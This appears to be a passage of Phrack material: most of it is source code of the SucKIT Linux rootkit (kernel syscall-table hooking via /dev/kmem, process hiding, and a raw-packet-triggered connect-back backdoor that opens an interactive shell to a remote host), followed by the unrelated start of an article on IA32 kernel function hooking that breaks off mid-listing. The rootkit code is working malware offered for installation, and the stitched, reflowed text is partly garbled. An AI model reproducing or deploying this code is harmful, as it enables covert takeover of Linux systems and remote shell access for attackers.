new_call_table =

(ulong *) ((ulong) img‑>sys_call_table + (ulong) tmp); handlers =

(struct new_call *) ((ulong) img‑>new_sct + (ulong) tmp); relocs =

img_reloc(tmp, (ulong *) (img‑>obj_len ‑ img‑>bss_len +

ulong) img), kmalloc.mem);

hooked = hook_syscalls(old_call_table, new_call_table, handlers, kmalloc.mem, (ulong) tmp);

if (!wkm(kmem, kmalloc.mem, tmp, img‑>obj_len)) { printf("FUCK: Cannot write us to kmem," " offset=0x%08x size=%d\n", kmalloc.mem, img‑>obj_len); return 1;

}

printf(

"new_call_table : 0x%08x\n" "# of relocs : 0x%08x (%d)\n" "# of syscalls : 0x%08x (%d)\n" "And nooooow....",

(ulong) (((struct obj_struc *)tmp)‑>sys_call_table), relocs, relocs,

hooked, hooked);

if (!wkml(kmem, dispatch,

(ulong) (((struct obj_struc *)tmp)‑>sys_call_table))) { printf("..something goes wrong ;(\n"); return 1;

}

printf("Shit happens!! ‑> WE'RE IN <‑\n"); close(kmem);

/* setup our backdoor process */

cmd.num = backdoor();

skio(CMD_BDR, &cmd);

if (silent)

do_rc(cfg.home);

return 0;

}

#endif

<‑‑> ./src/sk.c

<++> ./src/rc.c

/* $Id: rc.c, executes .rc script after sucessfull installation

useful while respawning eggdrop, psybnc or sniffer after reboot */

#ifndef RC_C

#define RC_C

#include "io.c"

#include "string.c"

#include "vsprintf.c"

#include "client.c"

int do_rc(char *home)

{

char buf[512];

int pid;

sprintf(buf, "%s/%s", home, RC_FILE);

pid = _fork();

if (pid < 0)

return 0;

if (pid == 0) {

char *argv[] = {NULL, NULL}; char *envp[] = {NULL, "SHELL=/bin/bash", "PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:" "/usr/local/sbin:/usr/X11R6/bin:./bin", NULL}; char home[512];

struct cmd_struc c;

/* make us invisible */

c.num = getpid(); skio(CMD_INV, &c);

/* change to homedir */

chdir(cfg.home);

/* setup enviroment */

sprintf(home, "HOME=%s", cfg.home); argv[0] = buf;

envp[0] = home;

/* exec rc */

execve(buf, argv, envp); _exit(0);

}

}

#endif

<‑‑> ./src/rc.c

<++> ./src/loc.c

/* $Id: loc.c, devik's routines to obtain kmalloc/sct craps

without native LKM support */

#ifndef LOC_C

#define LOC_C

#include "asm.h"

#include "suckit.h"

/* simple fn which reads some bytes from /dev/kmem */

ulong loc_rkm(int fd, void *buf, uint off, uint size)

{

if (lseek(fd, off, 0) != off) return 0;

if (read(fd, buf, size) != size) return 0; return size;

}

/* this fn tunnels out address of sys_call_table[] off int 80h */

#define INT80_LEN 128

ulong get_sct(ulong *i80)

{

struct idtr idtr;

struct idt idt;

int kmem;

ulong sys_call_off;

char *p;

char sc_asm[INT80_LEN];

/* open kmem */

kmem = open(KMEM_FILE, O_RDONLY, 0);

if (kmem < 0) return 0;

/* well let's read IDTR */

asm("sidt %0" : "=m" (idtr));

/* read‑in IDT for 0x80 vector (syscall‑gate) */

if (!loc_rkm(kmem, &idt, idtr.base + 8 * SYSCALL_INTERRUPT, sizeof(idt)))

return 0;

sys_call_off = (idt.off2 << 16) | idt.off1;

if (!loc_rkm(kmem, &sc_asm, sys_call_off, INT80_LEN)) return 0;

close(kmem);

/* we have syscall routine address now, look for syscall table

dispatch (indirect call) */

p = memmem(sc_asm, INT80_LEN, "\xff\x14\x85", 3) + 3; if (p) {

*i80 = (ulong) (p ‑ sc_asm + sys_call_off); return *(ulong *) p;

}

return 0;

}

/* simplest & safest way, but only if LKM support is there */

ulong get_sym(char *n) {

struct kernel_sym tab[MAX_SYMS];

int numsyms;

int i;

numsyms = get_kernel_syms(NULL);

if (numsyms > MAX_SYMS || numsyms < 0) return 0; get_kernel_syms(tab);

for (i = 0; i < numsyms; i++) {

if (!strncmp(n, tab[i].name, strlen(n))) return tab[i].value;

}

return 0;

}

#define RNUM 1024

ulong get_kma(ulong pgoff)

{

struct { uint a,f,cnt; } rtab[RNUM], *t;

uint i, a, j, push1, push2;

uint found = 0, total = 0;

uchar buf[0x10010], *p;

int kmem;

ulong ret;

/* uhh, before we try to bruteforce something, attempt to do things

in the *right* way ;)) */

ret = get_sym("kmalloc");

if (ret) return ret;

/* and finally, good, old bruteforce ;)) */

kmem = open(KMEM_FILE, O_RDONLY, 0);

if (kmem < 0) return 0;

for (i = (pgoff + 0x100000); i < (pgoff + 0x1000000); i += 0x10000) {

if (!loc_rkm(kmem, buf, i, sizeof(buf))) return 0; /* loop over memory block looking for push and calls */

for (p = buf; p < buf + 0x10000;) { switch (*p++) {

case 0x68:

push1 = push2;

push2 = *(unsigned*)p;

p += 4;

continue;

case 0x6a:

push1 = push2;

push2 = *p++;

continue;

case 0xe8:

if (push1 && push2 &&

push1 <= 0xffff &&

push2 <= 0x1ffff) break;

default:

push1 = push2 = 0;

continue;

}

/* we have push1/push2/call seq; get address */

a = *(unsigned *) p + i + (p ‑ buf) + 4; p += 4; total++;

/* find in table */

for (j = 0, t = rtab; j < found; j++, t++)

if (t‑>a == a && t‑>f == push1) break;

if (j < found)

t‑>cnt++;

else

if (found >= RNUM) {

return 0;

}

else {

found++;

t‑>a = a;

t‑>f = push1;

t‑>cnt = 1;

}

push1 = push2 = 0;

} /* for (p = buf; ... */

} /* for (i = (pgoff + 0x100000) ...*/

close(kmem);

t = NULL;

for (j = 0;j < found; j++) /* find maximum */

if (!t || rtab[j].cnt > t‑>cnt) t = rtab+j; if (t) return t‑>a;

return 0;

}

#endif

<‑‑> ./src/loc.c

<++> ./src/bd.c

/* $Id: bd.c ‑ STCP, connect‑back, anti‑firewall backdoor

with TTY and password */

/* implementing something like that on syscalls level is _really_ weird,

so excuse the poor coding style and using .h's wo libs etc... ;) */

#ifndef BD_C

#define BD_C

#define TIOCSCTTY 0x540E

#define TIOCGWINSZ 0x5413

#define TIOCSWINSZ 0x5414

#define RAW_PORT 80

#define BUF 32768

#define SYS_SOCKET 1 /* sys_socket(2) */

#define SYS_BIND 2 /* sys_bind(2) */

#define SYS_CONNECT 3 /* sys_connect(2) */

#define SYS_LISTEN 4 /* sys_listen(2) */

#define SYS_ACCEPT 5 /* sys_accept(2) */

#define SYS_GETSOCKNAME 6 /* sys_getsockname(2) */

#define SYS_GETPEERNAME 7 /* sys_getpeername(2) */

#define SYS_SOCKETPAIR 8 /* sys_socketpair(2) */

#define SYS_SEND 9 /* sys_send(2) */

#define SYS_RECV 10 /* sys_recv(2) */

#define SYS_SENDTO 11 /* sys_sendto(2) */

#define SYS_RECVFROM 12 /* sys_recvfrom(2) */

#define SYS_SHUTDOWN 13 /* sys_shutdown(2) */

#define SYS_SETSOCKOPT 14 /* sys_setsockopt(2) */

#define SYS_GETSOCKOPT 15 /* sys_getsockopt(2) */

#define SYS_SENDMSG 16 /* sys_sendmsg(2) */

#define SYS_RECVMSG 17 /* sys_recvmsg(2) */

#include <sys/wait.h>

//#include <sys/types.h>

#include <sys/resource.h>

#include <linux/unistd.h>

#include <signal.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <netinet/in.h>

#include "str.h"

//#include <fcntl.h>

#include <netinet/tcp.h>

#include <netinet/ip.h>

#include <netinet/in.h>

#include <sys/types.h>

#include <net/if.h>

#include <netdb.h>

#include <arpa/inet.h>

#include "suckit.h"

#include "ip.h"

#include "vsprintf.c"

#include "io.c"

struct config_struc cfg = {"CFGMAGIC", ".sd", "bublifuck", "/dev"}; #define PASSWORD cfg.pwd

#define HOME cfg.home

struct sel_arg_struct {

unsigned long n;

fd_set *inp, *outp, *exp;

struct timeval *tvp;

};

#define __NR__waitpid __NR_waitpid

#define __NR__vhangup __NR_vhangup

#define __NR__ioctl __NR_ioctl

#define __NR__aselect __NR_select

#define __NR__sigaction __NR_sigaction

#define __NR__kill __NR_kill

#define __NR__setsid __NR_setsid

static inline _syscall1(int, _aselect, struct sel_arg_struct *, args); static inline _syscall2(int, socketcall, int, call, unsigned long *,args); static inline _syscall3(int, _sigaction, int, num, void *, act, void *, old);

static inline _syscall3(int, _waitpid, int, pid, int *, dummy, int, opts); static inline _syscall0(int, _vhangup);

static inline _syscall3(int, _ioctl, int, fd, int, cmd, void *, buf); static inline _syscall2(int, dup2, int, a, int, b);

static inline _syscall2(int, setpgid, int, pid, int, pgid); static inline _syscall2(int, _kill, int, pid, int, sig); static inline _syscall0(int, _setsid);

static inline _syscall1(int, chdir, char *, path);

struct winsize {

unsigned short ws_row;

unsigned short ws_col;

unsigned short ws_xpixel;

unsigned short ws_ypixel;

};

/* basic i/o for network stuff */

int _select(ulong n, fd_set *inp, fd_set *outp, fd_set *exp, struct timeval *tvp)

{

struct sel_arg_struct b;

b.n = n;

b.inp = inp;

b.outp = outp;

b.exp = exp;

b.tvp = tvp;

return _aselect(&b);

}

int _socket(int domain, int type, int protocol)

{

ulong a[3];

a[0] = domain;

a[1] = type;

a[2] = protocol;

return socketcall(SYS_SOCKET, a);

}

int _connect(int sockfd, struct sockaddr *addr, int addrlen) {

ulong a[3];

a[0] = sockfd;

a[1] = (ulong) addr;

a[2] = addrlen;

return socketcall(SYS_CONNECT, a);

}

int _recvfrom(int s, void *buf, ulong len, int flags, struct sockaddr *from, socklen_t *fromlen)

{

ulong a[6];

a[0] = s;

a[1] = (ulong) buf;

a[2] = len;

a[3] = flags;

a[4] = (ulong) from;

a[5] = (ulong) fromlen;

return socketcall(SYS_RECVFROM, a);

}

int _signal(int num, void *handler)

{

struct sigaction s;

bzero((char *) &s, sizeof(s));

s.sa_handler = handler;

s.sa_flags = SA_RESTART;

return _sigaction(num, &s, NULL);

}

/* creates tty/pty name by index */

void get_tty(int num, char *base, char *buf)

{

char series[] = "pqrstuvwxyzabcde";

char subs[] = "0123456789abcdef";

int pos = strlen(base);

strcpy(buf, base);

buf[pos] = series[(num >> 4) & 0xF]; buf[pos+1] = subs[num & 0xF];

buf[pos+2] = 0;

}

/* search for free pty and open it */

int open_tty(int *tty, int *pty)

{

char buf[512];

int i, fd;

fd = open("/dev/ptmx", O_RDWR, 0);

close(fd);

for (i=0; i < 256; i++) {

get_tty(i, "/dev/pty", buf); *pty = open(buf, O_RDWR, 0); if (*pty < 0) continue; get_tty(i, "/dev/tty", buf); *tty = open(buf, O_RDWR, 0); if (*tty < 0) { close(*pty); continue;

}

return 1;

}

return 0;

}

/* to avoid creating zombies ;) */

void sig_child(int i)

{

_signal(SIGCHLD, sig_child);

_waitpid(‑1, NULL, WNOHANG);

}

void hangout(int i)

{

_kill(0, SIGHUP);

_kill(0, SIGTERM);

}

void fork_shell(int sock)

{

int subshell;

int tty;

int pty;

fd_set fds;

char buf[BUF];

char *argv[] = {"sh", "‑i", NULL};

#define MAXENV 256

#define ENVLEN 256

char *envp[MAXENV];

char envbuf[(MAXENV+2) * ENVLEN];

int j, i;

char home[256];

char msg[] = "Can't fork pty, bye!\n";

/* setup enviroment */

envp[0] = home;

sprintf(home, "HOME=%s", HOME);

chdir(HOME);

j = 0;

do {

i = read(sock, &envbuf[j * ENVLEN], ENVLEN); envp[j+1] = &envbuf[j * ENVLEN]; j++;

if ((j >= MAXENV) || (i < ENVLEN)) break; } while (envbuf[(j‑1) * ENVLEN] != '\n'); envp[j+1] = NULL;

/* create new group */

setpgid(0, 0);

/* open slave & master side of tty */

if (!open_tty(&tty, &pty)) { write(sock, msg, strlen(msg)); close(sock);

_exit(0);

}

/* fork child */

subshell = _fork();

if (subshell == ‑1) {

write(sock, msg, strlen(msg)); close(sock);

_exit(0);

}

if (subshell == 0) {

/* close master */

close(pty);

/* attach tty */

_setsid();

_ioctl(tty, TIOCSCTTY, NULL); /* close local part of connection */

close(sock);

_signal(SIGHUP, SIG_DFL); _signal(SIGCHLD, SIG_DFL); dup2(tty, 0);

dup2(tty, 1);

dup2(tty, 2);

close(tty);

execve("/bin/sh", argv, envp);

}

close(tty);

_signal(SIGHUP, hangout);

_signal(SIGTERM, hangout);

write(sock, BANNER, strlen(BANNER));

/* select loop */

while (1) {

FD_ZERO(&fds);

FD_SET(pty, &fds); FD_SET(sock, &fds);

if (_select((pty > sock) ? (pty+1) : (sock+1), &fds, NULL, NULL, NULL) < 0) {

break;

}

/* pty => remote side */

if (FD_ISSET(pty, &fds)) { int count; count = read(pty, buf, BUF); if (count <= 0) break; if (write(sock, buf, count) <= 0) break; }

/* remote side => pty */

if (FD_ISSET(sock, &fds)) { int count; unsigned char *p, *d; d = buf;

count = read(sock, buf, BUF); if (count <= 0) break;

/* setup win size */

p = memchr(buf, ECHAR, count); if (p) {

unsigned char wb[5];

int rlen;

struct winsize ws;

rlen = count ‑ ((ulong) p ‑ (ulong) buf);

/* wait for rest */

if (rlen > 5) rlen = 5;

memcpy(wb, p, rlen);

if (rlen < 5) {

read(sock, &wb[rlen], 5 ‑ rlen);

}

/* setup window */

ws.ws_xpixel = ws.ws_ypixel = 0;

ws.ws_col = (wb[1] << 8) + wb[2];

ws.ws_row = (wb[3] << 8) + wb[4];

_ioctl(pty, TIOCSWINSZ, &ws);

_kill(0, SIGWINCH);

/* write the rest */

write(pty, buf, (ulong) p ‑ (ulong) buf);

rlen =

((ulong) buf + count) ‑ ((ulong)p+5);

if (rlen > 0) write(pty, p+5, rlen);

} else

if (write(pty, d, count) <= 0) break;

} /* remote side => pty */

} /* while */

close(sock);

close(pty);

_waitpid(subshell, NULL, 0);

_vhangup();

_exit(0);

}

void connect_back(ulong ip, ushort port)

{

int sock;

struct sockaddr_in cli;

int pid;

pid = _fork();

if (pid == ‑1) return;

if (pid == 0) {

char auth[256];

sock = _socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (sock < 0) _exit(0);

bzero((char *) &cli, sizeof(cli)); cli.sin_family = AF_INET; cli.sin_addr.s_addr = ip; cli.sin_port = port;

if (_connect(sock, (struct sockaddr *) &cli, sizeof(cli)) < 0) { close(sock); _exit(0);

}

/* uhm ... how simple ;) */

if (read(sock, auth, sizeof(auth)) <= 0) { close(sock); _exit(0);

}

if (strcmp(auth, PASSWORD) != 0) { close(sock); _exit(0);

}

fork_shell(sock);

close(sock);

_exit(0);

}

}

int backdoor()

{

int pid;

struct sockaddr_in serv;

struct sockaddr_in cli;

struct sockaddr_in raw;

int sock;

printf("Starting backdoor daemon...");

sock = _socket(AF_INET, SOCK_RAW, 6);

if (sock < 0) {

printf("Can't allocate raw socket (%d)\n", ‑errno); return 0;

}

bzero((char *) &raw, sizeof(raw));

pid = _fork();

if (pid < 0) {

printf("Cannot fork (%d)\n", ‑errno); return 0;

}

if (pid !=0 ) {

printf("OK, pid = %d\n", pid); return pid;

}

/* daemonize */

_setsid();

chdir("/");

pid = open("/dev/null", O_RDWR, 0);

dup2(pid, 0);

dup2(pid, 1);

dup2(pid, 2);

close(pid);

_signal(SIGHUP, SIG_IGN);

_signal(SIGTERM, SIG_IGN);

_signal(SIGPIPE, SIG_IGN);

_signal(SIGIO, SIG_IGN);

_signal(SIGCHLD, sig_child);

while (1) {

int slen;

struct ippkt packet;

slen = sizeof(raw); bzero((char *) &packet, sizeof(packet)); _recvfrom(sock, (struct ippkt *) &packet, sizeof(packet), 0, (struct sockaddr *) &raw, &slen);

if ((!packet.tcp.ack) && (!packet.tcp.urg) && ( ((struct rawdata *) &packet.data)‑>id == RAWID ) ) { /* serve the client */

connect_back(((struct rawdata *) &packet.data)‑>ip,

((struct rawdata *) &packet.data)‑>port);

}

}

_exit(0);

}

#endif

<‑‑> ./src/bd.c

<++> ./src/config.c

/* $Id: config.c, configuring binary */

#ifndef CONFIG_C

#define CONFIG_C

#include "string.c"

#include "vsprintf.c"

#include "io.c"

int config(char *name, char *hs, char *pwd, char *home)

{

int fd = ‑1;

char bigbuf[65536];

struct config_struc cfg;

int size;

char *p;

/* to avoid detecting itself ;) */

strcpy(cfg.magic, "CFGMAGI");

cfg.magic[7] = 'C';

strncpy(cfg.hs, hs, 32);

strncpy(cfg.pwd, pwd, 32);

strncpy(cfg.home, home, 64);

printf("Configuring %s:\n", name);

fd = open(name, O_RDONLY, 0);

if (fd < 0) {

printf("Can't open %s, errno=%d\n", name, ‑errno); goto err;

}

size = read(fd, bigbuf, sizeof(bigbuf)); close(fd);

unlink(name);

fd = open(name, O_RDWR | 0100, 04777);

if (fd < 0) {

printf("Can't open %s, errno=%d\n", name, ‑errno); goto err;

}

p = memmem(bigbuf, size, cfg.magic, 8);

if (!p) {

printf("Error\n");

goto err;

}

memcpy(p, &cfg, sizeof(cfg));

p = memmem(p+1, size, cfg.magic, 8);

if (!p) {

printf("Error\n");

goto err;

}

memcpy(p, &cfg, sizeof(cfg));

lseek(fd, 0, 0);

if (write(fd, bigbuf, size) != size) { printf("Uncompleted write!\n"); goto err;

}

printf("OK!\n");

close(fd);

return 0;

err:

close(fd);

return 1;

}

#endif

<‑‑> ./src/config.c

<++> ./utils/parser.c

/* $Id: parse.c, parses .s file of kernel image,

gives "extern" and so on... */

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

#include <string.h>

#define comp(x) (!strcmp(b1, x))

int main()

{

char buf[16384];

char b1[16384];

char b2[16384];

char *commtab[32768];

int cp = 0;

int i;

fputs(

".text\n"

"text_start:\n" "\t.long\ttext_end‑text_start\n" "\t.long\ttext_end‑bss_start\n" "\t.long\tpunk\n"

"\t.long\tpunk_size\n"

"\t.long\tnew_sct\n" "\t.long\tsys_call_table\n"

"page_offset:\n"

"\t.long\t0\n"

"syscall_dispatch:\n"

"\t.long\t0\n"

"old_call_table:\n"

"\t.long\t0\n"

, stdout);

while (fgets(buf, 16384, stdin)) { sscanf(buf, "%s %s", b1, b2); /* comment */

if (b1[0] == '#') continue;

/* punk_size */

if (comp(".size") && (!strncmp(b2, "punk,", 5))) { char *p = strstr(b2, ","); printf("punk_size:\n\t.long\t%s\n", p + 1); }

/* discard this stuff */

if (comp(".file") || comp(".version") || comp(".data") || comp(".align") || comp(".p2align") || comp(".section") || comp(".ident") || comp(".globl")) continue; /* convert .bss => .text */

if (comp(".comm")) { commtab[cp++] = strdup(b2); continue;

}

fprintf(stdout, "%s", buf);

}

fprintf(stdout, "bss_start:\n");

for (i = 0; i < cp; i++) {

char *name;

char *size;

char *ptr = commtab[i]; name = strsep(&ptr, ",");

size = strsep(&ptr, ","); fprintf(stdout, "\t.type\t%s,@object\n" "\t.size\t%s,%s\n"

"%s:\n"

"\t.zero\t%s\n",

name,

name, size,

name,

size);

}

fprintf(stdout, "text_end:\n");

return 0;

}

<‑‑> ./utils/parser.c

<++> ./utils/rip.c

/* $Id: rip.c ‑ rips out kernel image from .o */

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

#include <string.h>

#include <sys/types.h>

#include <sys/stat.h>

#include <fcntl.h>

struct objinfo {

unsigned int size;

unsigned int bss_size;

} __attribute__ ((packed));

int main(int argc, char *argv[])

{

FILE *dump;

int core;

char buf[512];

unsigned off;

char *rbuf;

struct objinfo obj;

int rcount = 0;

if (argc < 3) {

printf("use: %s <in_file> <out_file>\n", argv[0]); exit(1);

}

printf("Ripping headers..."); fflush(stdout); sprintf(buf, "objdump ‑h %s", argv[1]);

dump = popen(buf, "r");

while (fgets(buf, sizeof(buf), dump)) { unsigned idx, size, vma, lma, fileoff; char name[512]; char algn[512];

if (sscanf(buf, "%d %s %x %x %x %x %s\n", &idx, name, &size, &vma, &lma, &fileoff, algn) == 7) { if (!strcmp(name, ".text")) {

off = fileoff;

pclose(dump);

break;

}

}

}

printf("0x%08x\nRipping c0r3...", off); fflush(stdout); core = open(argv[1], O_RDONLY);

lseek(core, off, SEEK_SET);

read(core, &obj, sizeof(obj));

lseek(core, off, SEEK_SET);

rbuf = malloc(obj.size ‑ obj.bss_size);

if (!rbuf) exit(1);

read(core, rbuf, obj.size ‑ obj.bss_size); close(core);

core = open(argv[2], O_CREAT | O_RDWR | O_TRUNC, 0664); if (core < 0) return 1;

write(core, rbuf, obj.size ‑ obj.bss_size); printf("Ok, %d bytes\n", obj.size ‑ obj.bss_size); printf("Ripping relocs..."); fflush(stdout); sprintf(buf, "objdump ‑r %s", argv[1]);

dump = popen(buf, "r");

while (fgets(buf, sizeof(buf), dump)) { unsigned off;

char type[512]; char name[512];

if (sscanf(buf, "%x %s %s", &off, type, name) == 3) if (!strcmp(type, "R_386_32")) { if (strcmp(name, ".text") != 0) {

printf("FUCK: Bad reloc %x\t%s\%s\n",

off, type, name);

exit(1);

}

write(core, &off, sizeof(off)); rcount++;

}

}

off = 0xFFFFFFFF;

write(core, &off, sizeof(off));

close(core);

printf("OK, %d relocs\n", rcount);

return 0;

}

<‑‑> ./utils/rip.c

<++> ./utils/Makefile

utils: parser bin2hex rip

clean:

rm ‑f parser bin2hex rip core

<‑‑> ./utils/Makefile

<++> ./utils/bin2hex.c

/* $Id: bin2hex.c, bin2hex translator */

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

#include <string.h>

#define PER_LINE 6

#define BUF_SIZE (64*1024)

int main(int argc, char *argv[])

{

int c;

int size = 0;

int i;

char buf[BUF_SIZE];

uint *lp = (uint *) buf;

int col;

bzero(buf, BUF_SIZE);

if (argc != 2) {

printf("Use: %s var_name\n", argv[0]); exit(1);

}

printf("/* generated by bin2hex.c */\n"

"unsigned\tlong\t%s[] = {\n\t", argv[1]); while ((c = fgetc(stdin)) != EOF) { buf[size++] = c;

}

size = (size + 3) / 4;

for (i = 0, col = 1; i < size; i++, col++) { printf("0x%08x", lp[i]);

if (i < (size ‑ 1)) printf(","); if (col >= PER_LINE) { printf("\n\t"); col = 0;

}

}

printf("};\n/* %d bytes total */\n", size * 4);

return 0;

}

<‑‑> ./utils/bin2hex.c

<++> ./Makefile

# An makefile, it may be buggy, cause i'm not so familiar with GNU make

#an escape character

ECHAR = 0x0b

#some random number to identify our raw packets, better if you change it RAWID = 0x8C1C941F

#current version

VERSION = v1.1c

#signature for communication between user <> kernel spaces OURSIGN = 0x14431337

#rc file in home directory

RCFILE = .rc

#dirs

INCLUDE = include

SRC = src

UTILS = utils

CLIENT = client

TMP = tmp

#CC defs

CC = gcc

CFLAGS = ‑s ‑Wall ‑O6 ‑fno‑inline‑functions ‑fno‑unroll‑all‑loops\ ‑I$(INCLUDE) ‑I$(TMP) ‑DSUCKIT_VERSION=\"$(VERSION)\"\ ‑DRAWID=$(RAWID) ‑DECHAR=$(ECHAR) ‑DOURSIGN=$(OURSIGN)\ ‑DRCFILE=\"$(RCFILE)\"

all:sk cli

@( ./sk 1 )

@echo "OK, compilation seems to be done, \

i'm HIGLY suggest you to do"

@echo "./sk c <file_hide_suffix> <password> <home_directory>" @echo "before installing it somewhere!"

@echo "Enjoy!"

help:

@echo "Targets:"

@echo " make clean ‑ clean"

@echo " make cli ‑ create localhost bd's client"

@echo " make sk ‑ create suckit"

@echo " make help ‑ diz help"

cli:

$(CC) $(CFLAGS) $(CLIENT)/client.c ‑o cli

binutils:

@( cd $(UTILS); make CC=gcc CFLAGS="$(CFLAGS)")

$(TMP):

@( mkdir $(TMP) )

$(TMP)/core.s: $(SRC)/core.c tmp

$(CC) $(CFLAGS) ‑S $(SRC)/core.c ‑o $(TMP)/core.s $(TMP)/core.o: $(TMP)/core.s binutils

$(UTILS)/parser < $(TMP)/core.s > $(TMP)/c0re.s

$(CC) $(CFLAGS) ‑c $(TMP)/c0re.s ‑o $(TMP)/core.o

$(TMP)/cor: $(TMP)/core.o binutils

$(UTILS)/rip $(TMP)/core.o $(TMP)/cor

$(TMP)/core.h: $(TMP) $(TMP)/cor binutils

$(UTILS)/bin2hex punk < $(TMP)/cor > $(TMP)/core.h

sk:binutils $(TMP)/core.h

$(CC) $(CFLAGS) ‑w ‑nostdlib $(SRC)/sk.c ‑o sk

clean:

rm ‑f $(TMP)/* core

rm ‑rf $(TMP)

@( cd $(UTILS); make clean )

@( cd $(CLIENT); make clean )

<‑‑> ./Makefile

Linux x86 kernel function hooking emulation

==Phrack Inc.==

Volume 0x0b, Issue 0x3a, Phile #0x08 of 0x0e

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ IA32 ADVANCED FUNCTION HOOKING ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ mayhem <mayhem@hert.org> ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ December 08th 2001 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

‑‑[ Contents

1 ‑ Introduction

1.1 ‑ History

1.2 ‑ New requirements

2 ‑ Hooking basics

2.1 ‑ Usual techniques

2.2 ‑ Things not to forget

3 ‑ The code explained

4 ‑ Using the library

4.1 ‑ The API

4.2 ‑ Kernel symbol resolution

4.3 ‑ The hook_t object

5 ‑ Testing the code

5.1 ‑ Loading the module

5.2 ‑ Playing around a bit

5.3 ‑ The code

6 ‑ References

‑‑[ 1 ‑ Introduction

Abusing, logging , patching , or even debugging : obvious reasons to think that hooking matters . We will try to understand how it works . The demonstration context is the Linux kernel environment . The articles ends with a general purpose hooking library the linux kernel 2.4 serie, developped on 2.4.5 and running on IA32, it's called LKH, the Linux Kernel Hooker.

‑‑‑‑[ 1.1 ‑ History

One of the reference on the function hijacking subject subject has been released in November 1999 and is written by Silvio Cesare (hi dude ;‑). This implementation was pretty straightforward since the hooking was consisting in modifying the first bytes of the function jumping to another code , in order to filter access on the acct_process function of the kernel, keeping specific processes from beeing accounted .

‑‑‑‑[ 1.2 ‑ New requirements

Some work has been done since that time :

‑ Pragmatic use of redirection often (always ?) need to access the original parameters, whatever their number and their size (for example if we want to modify and forward IP packets) .

‑ We may need to disable the hook on demand, which is perfect for runtime kernel configuration . We may want to call the original functions (discrete hooking, used by monitoring programs) or not (aggressive hooking, used by security patches to manage ACL ‑ Access Control Lists ‑ ) on kernel ojects .

‑ In some cases, we may also want to destroy the hook just after the first call, for example to do statistics (we can hook one time every seconds or every minuts) .

‑‑[ 2 ‑ Hooking basics

‑‑‑‑[ 2.1 Usual techniques

Of course, the core hooking code must be done in assembly language, but the hooking wrapping code is done in C . The LKH high level interface is described in the API section . May we first understand some hooking basics .

This is basicaly what is hooking :

‑ Modify the begin of a function code to points to another code (called the 'hooking code') . This is a very old and efficient way to do what we want . The other way to do this is to patch every calls in the code segment referencing the function . This second method has some advantages (it's very stealth) but the implementation is a bit complex (memory area blocks parsing, then code scanning) and not very fast .

‑ Modify in runtime the function return address to takes control when the hooked function execution is over .

‑ The hook code must have two different parts, the first one must be executed before the function (prepare the stack for accessing parameters, launch callbacks, restore the old function code) , the second one must be executed after (reset the hook again if needed)

‑ Default parameters (defining the hook behaviour) must be set during the hook creation (before modifying the function code) . Function dependant parameters must be fixed now .

‑ Add callbacks . Each callback can access and even modify the original function parameters .

‑ Enable, disable, change parameters, add or remove callbacks when we want .

‑‑‑‑[ 2.2 ‑ Things not to forget

‑> Functions without frame pointer:

A important feature is the capability to hook functions compiled with the ‑fomit‑frame‑pointer gcc option . This feature requires the hooking code to be %ebp free , that's why we will only %esp is used for stack operations. We also have to update some part (Some bytes here and there) to fix %ebp relative offsets in the hook code . Look at khook_create() in lkh.c for more details on that subject .

The hook code also has to be position independant . That's why so many offsets in the hookcode are fixed in runtime (Since we are in the kernel, offsets have to be fixed during the hook creation, but very similar techniques can be used for function hooking in *runtime* processes).

‑> Recursion

We must be able to call the original function from a callback, so the original code has t be restored before the execution of any callback .

‑> Return values

We must returns the correct value in %eax, wether we have callbacks or no, wether the original function is called or no . In the demonstration, the return value of the last executed callback is returned if the original function is not called . If no callbacks and no original function is called, the return value is beyond control.

‑> POST callbacks

You cannot access function parameters if you execute callbacks after the original function . That's why it's a bad idea . However, here is the technique to do it :

‑ Set the hook as aggressive

‑ Call the PRE callbacks .

‑ Call the original function from a callback with its own parameters .

‑ Call the POST callbacks .

‑‑[ 3 ‑ The code explained .

First we install the hook.

A ‑ Overwrite the first 7 bytes of the hijacked routine with an indirect jump pointing to the hook code area .

The offset put in %eax is the obsolute address of the hook code, so each time we'll call the hijack_me() function, the hook code will takes control .

Before hijack:

0x80485ec <hijack_me>: mov 0x4(%esp,1),%eax 0x80485f0 <hijack_me+4>: push %eax 0x80485f1 <hijack_me+5>: push $0x8048e00 0x80485f6 <hijack_me+10>: call 0x80484f0 <printf> 0x80485fb <hijack_me+15>: add $0x8,%esp

After the hijack:

0x80485ec <hijack_me>: mov $0x804a323,%eax 0x80485f1 <hijack_me+5>: jmp *%eax 0x80485f3 <hijack_me+7>: movl (%eax,%ecx,1),%es 0x80485f6 <hijack_me+10>: call 0x80484f0 <printf> 0x80485fb <hijack_me+15>: add $0x8,%esp

The 3 instructions displayed after the jmp dont means anything , since gdb is fooled by our hook .

B ‑ Reset the original bytes of the hooked function, we need that if we want to call the original function without breaking things .

pusha

movl $0x00, %esi (1) movl $0x00, %edi (2) push %ds

pop %es

cld

xor %ecx, %ecx

movb $0x07, %cl

rep movsl

The two NULL offsets have actually been modified during the hook creation (since their values depends on the hooked function offset, we have to patch the hook code in runtime) . (1) is fixed with the offset of the buffer containing the first 7 saved bytes of the original function . (2) is fixed with the original function address. If you are familiar with the x86 assembly langage, you should know that these instructions will copy %ecx bytes from %ds:%esi to %es:%edi . Refers to [2] for the INTEL instructions specifications.

C ‑ Initialise the stack to allow parameters read/write access and launch our callbacks . We move the first original parameter address in %eax then we push it .

leal 8(%esp), %eax

push %eax

nop; nop; nop; nop; nop

nop; nop; nop; nop; nop

nop; nop; nop; nop; nop

